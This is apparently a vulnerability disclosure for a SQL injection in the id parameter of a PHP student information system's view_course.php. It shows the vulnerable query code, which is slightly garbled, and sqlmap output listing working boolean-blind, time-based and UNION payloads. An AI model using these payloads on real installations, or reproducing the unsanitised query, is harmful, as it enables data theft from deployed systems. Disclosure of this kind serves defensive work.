

SQL injection vulnerability exists in id parameter of /admin/courses/view_course.php file of Simple Student Information System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```

1 <?php
2 require_once('../config.php');
3 if(isset($_GET['id'])){
4     $qry = $conn->query("SELECT c.*, d.name as department FROM `course_list` c inner join department_list d on c.department_id
5     = d.id where c.id = '{$_GET['id']}'");
6     if($qry->num_rows > 0){
7         $res = $qry->fetch_array();
8         foreach($res as $k => $v){
9             if(!is_numeric($k))
10                 cel = $v..

```

```

sqlmap identified the following injection point(s) with a total of 60 HTTP(s) requests:
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 8078=8078 AND 'hwrT'='hwrT

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 1121 FROM (SELECT(SLEEP(5)))UnkA) AND 'sfQk'='sfQk

Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: id=-3577' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171717871,0x4f616a6a52474d424352634d775466746353564441774b4d4a6d63416d6458756e4d6b666544454f,0x7162717671)-- -

```

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Source Download:

<https://www.campcodes.com/projects/php/student-information-system-in-php>